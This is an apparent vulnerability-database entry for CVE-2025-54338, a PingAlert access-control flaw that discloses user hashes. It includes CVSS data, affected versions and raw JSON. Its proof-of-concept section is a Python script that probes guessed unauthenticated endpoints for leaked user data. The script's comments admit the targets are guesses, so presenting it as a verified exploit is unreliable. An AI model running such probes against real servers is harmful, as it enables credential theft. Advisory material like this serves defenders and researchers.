Security Vulnerability Report
中文
CVE-2025-54338 CVSS 7.5 HIGH

CVE-2025-54338

Published: 2025-11-24 22:15:49
Last Modified: 2025-12-05 20:28:44

Description

An Incorrect Access Control vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows an attacker to disclose user hashes.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:* - VULNERABLE
Desktop Alert PingAlert 6.1.0.11
Desktop Alert PingAlert 6.1.0.12
Desktop Alert PingAlert 6.1.0.13
Desktop Alert PingAlert 6.1.1.0
Desktop Alert PingAlert 6.1.1.1
Desktop Alert PingAlert 6.1.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-54338 PoC - Desktop Alert PingAlert Access Control Bypass # Target: Desktop Alert PingAlert Application Server # Vulnerability: Incorrect Access Control allowing user hash disclosure def exploit(target_url): """ Exploit for CVE-2025-54338 Attempts to retrieve user hashes from PingAlert Application Server """ # Common endpoints that might expose user data endpoints = [ '/api/users', '/api/userhashes', '/api/v1/users/list', '/users/hash', '/admin/users', '/api/auth/users', '/v1/userinfo' ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-54338...") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Possible data leak at: {url}") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response preview: {response.text[:500]}") return True elif response.status_code == 401: print(f"[-] Endpoint {endpoint} requires authentication") else: print(f"[*] Endpoint {endpoint} returned: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-54338.py <target_url>") print("Example: python cve-2025-54338.py http://target.com:8080") sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54338", "sourceIdentifier": "[email protected]", "published": "2025-11-24T22:15:48.970", "lastModified": "2025-12-05T20:28:43.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Access Control vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 which allows an attacker to disclose user hashes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:desktopalert:pingalert_application_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0.11", "versionEndExcluding": "6.1.1.6", "matchCriteriaId": "3E233390-7D3C-4DAD-9947-030770EDAC05"}]}]}], "references": [{"url": "https://desktopalert.net/cve-2025-54338/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}